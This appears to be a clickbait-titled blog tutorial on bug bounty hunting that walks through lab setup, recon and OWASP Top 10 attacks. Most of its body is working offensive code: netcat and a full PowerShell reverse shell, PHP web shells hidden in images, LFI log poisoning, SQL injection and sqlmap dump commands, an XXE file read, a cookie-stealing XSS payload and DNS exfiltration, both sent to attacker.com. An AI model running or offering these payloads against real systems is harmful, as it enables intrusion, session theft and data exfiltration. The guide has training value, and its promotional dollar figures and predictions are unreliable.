How to Earn $300M in Bug Bounties: The Ultimate Hands-On Training Guide (OWASP Top 10 + Live Commands)

Introduction:

Bug bounty programs paid over $300 million to ethical hackers in the past year, with demand skyrocketing across government and private sectors. Yet most aspiring hunters fail not from lack of curiosity, but from missing a structured, practical roadmap. This article extracts a professional training curriculum (based on Ignite Technologies’ Bug Bounty Program) and delivers step‑by‑step technical tutorials, commands, and configurations to master web application penetration testing (WAPT) from lab setup to advanced exploits like LFI, SQLi, and XXE.

Learning Objectives:

  • Build a complete pentest lab and perform reconnaissance using industry‑standard tools (Nmap, Sublist3r, Burp Suite).
  • Exploit and mitigate OWASP Top 10 vulnerabilities including injection, broken authentication, and file inclusion.
  • Apply attacker‑mindset techniques on live programs (HackerOne, Bugcrowd) with Netcat, PHP web shells, and session management attacks.

You Should Know:

1. Pentest Lab Setup & Information Gathering

Step‑by‑step guide:

A vulnerable lab is your safe playground. Use VirtualBox or VMware to deploy targets like DVWA, OWASP Juice Shop, or Metasploitable 3.

Linux commands to install Docker (fast lab):

sudo apt update && sudo apt install docker.io -y
sudo systemctl start docker
sudo docker pull vulnerables/web-dvwa
sudo docker run -d -p 80:80 vulnerables/web-dvwa

Recon with Sublist3r & Nmap:

git clone https://github.com/aboul3la/Sublist3r.git
cd Sublist3r
pip install -r requirements.txt
python sublist3r.py -d example.com -o subdomains.txt
nmap -sV -sC -iL subdomains.txt -oA recon_scan

Windows alternative: Use PowerShell `Resolve-DnsName` and download Nmap from https://nmap.org.
Purpose: Discover hidden endpoints, services, and attack surface before exploiting.

  1. Netcat for Pentesters – Reverse Shells & Port Scanning

Step‑by‑step guide:

Netcat (nc) is the “Swiss army knife” for TCP/UDP connections. Use it to catch reverse shells after a command injection.

Attacker machine (listener):

nc -lvnp 4444

Victim (after RCE):

nc <attacker-ip> 4444 -e /bin/bash  Linux
nc <attacker-ip> 4444 -e cmd.exe  Windows (if nc installed)

Windows native alternative – PowerShell reverse shell:

$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Pro tip: Use `rlwrap nc -lvnp 4444` for tab completion and history.

  1. Local File Inclusion (LFI) to Remote Code Execution

Step‑by‑step guide:

LFI occurs when a script includes a file via user input without sanitisation. Test with ?page=../../../../etc/passwd.

Exploit chain to RCE via log poisoning:

  1. Inject PHP code into User-Agent: ``

2. Include Apache access log: `?page=../../../../var/log/apache2/access.log&cmd=id`

Command to monitor logs (Linux):

tail -f /var/log/apache2/access.log

Mitigation: Disallow `../` (path traversal) and use allow‑lists for included files. In PHP: `realpath()` + `stripos()` checks.

  1. SQL Injection (Union & Blind) – Manual + sqlmap

Step‑by‑step guide:

SQLi remains a top risk. Test a login form parameter `id=1` with ' OR '1'='1.

Manual Union attack (finding number of columns):

' ORDER BY 5 -- -  Increase until error
' UNION SELECT NULL, version(), user() -- -

Using sqlmap (automated):

sqlmap -u "http://target.com/page?id=1" --dbs --batch
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump

Blind SQLi (boolean/time‑based):

sqlmap -u "http://target.com/page?id=1" --technique=B --time-sec=5

Mitigation: Parameterised queries (prepared statements) and strict input validation.

5. Unrestricted File Upload → PHP Web Shell

Step‑by‑step guide:

When file upload lacks extension/content validation, upload a web shell.

Create a simple PHP web shell (`shell.php`):

<?php system($_GET['c']); ?>

Bypass client‑side filters: Use Burp Suite to intercept and change filename to `shell.php.jpg` with Content-Type: image/jpeg. For servers that check MIME, embed PHP within a valid image: 

exiftool -Comment='<?php system($_GET["c"]); ?>' image.jpg
mv image.jpg image.php.jpg  Upload as .jpg, but server may execute PHP if embedded

Access and execute commands:

http://target.com/uploads/shell.php?c=whoami`
Mitigation: Validate MIME type, rename files randomly, store outside webroot, and disable execution in upload directories (.htaccess` or Nginx config).

  1. Cross‑Site Scripting (XSS) & CSRF – Stealing Sessions

Step‑by‑step guide:

XSS injects scripts into a victim’s browser. Test input fields with <script>alert('XSS')</script>.

Steal cookies with a payload:

<script>new Image().src="http://attacker.com/steal.php?cookie="+document.cookie;</script>

CSRF combined with XSS: Force a state‑changing request (password update) without user knowledge.

Mitigation: Output encoding (HTML entities), Content Security Policy (CSP), and anti‑CSRF tokens. Use `X-XSS-Protection: 1; mode=block` header.

7. OS Command Injection & XXE Exploitation

Step‑by‑step guide:

Command injection happens when user input is passed to a system shell. Test with ; ls -la, | id, $(whoami).

Blind command injection – exfiltrate via DNS:

; nslookup $(whoami).attacker.com

XXE (XML External Entity) – read files:

<?xml version="1.0"?>
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>

Mitigation: Avoid system calls; use allow‑lists for commands. For XXE, disable external entities in XML parsers (e.g., `libxml_disable_entity_loader(true)` in PHP).

What Undercode Say:

  • Key Takeaway 1: Bug bounty success requires a repeatable methodology – recon → fingerprinting → vulnerability validation → exploitation → reporting. Tools alone are useless without understanding the underlying attack vectors (LFI, SQLi, XSS).
  • Key Takeaway 2: The OWASP Top 10 is not just a checklist; it’s a living framework. Hands‑on lab practice with Docker, Netcat, and sqlmap builds the muscle memory needed to find $10k+ bugs on live programs.

Analysis (10 lines):

The post from Ignite Technologies highlights a critical industry gap: structured training. Over $300M in bounties signals a thriving market, but most beginners drown in fragmented YouTube tutorials. The curriculum – spanning reconnaissance, Netcat, configuration testing, cryptography, authentication attacks, session management, LFI/RFI, path traversal, command injection, open redirect, file uploads, web shells, HTML injection, XSS, CSRF, SQLi, and XXE – mirrors real‑world attacker kill chains. Missing from many courses are cloud hardening (AWS IAM misconfigurations) and API security (GraphQL introspection, JWT tampering), which represent the next frontier. Windows commands are equally critical; many internal bug bounties involve Active Directory environments. The inclusion of a bonus section suggests advanced topics like NoSQL injection or server‑side template injection (SSTI). Ultimately, a roadmap must move beyond tool usage to “thinking like an attacker” – chaining low‑severity issues (e.g., open redirect + XSS) into high‑impact exploits.

Prediction:

Within 24 months, bug bounty platforms will require certified training completion (like this program) before allowing hunters to access private programs. AI‑powered dynamic analysis tools will automate low‑hanging fruits, forcing ethical hackers to specialise in logic flaws, business process abuse, and zero‑day chaining. The demand for hands‑on, lab‑driven courses will surge, with live attack simulations and red‑team‑style debriefs becoming the gold standard. Companies will shift from pay‑per‑bug to subscription‑based bug bounty retainers, integrating continuous testing with traditional pentesting. Aspiring hackers who master both OWASP Top 10 and cloud/API misconfigurations today will dominate the $500M+ market of 2026.
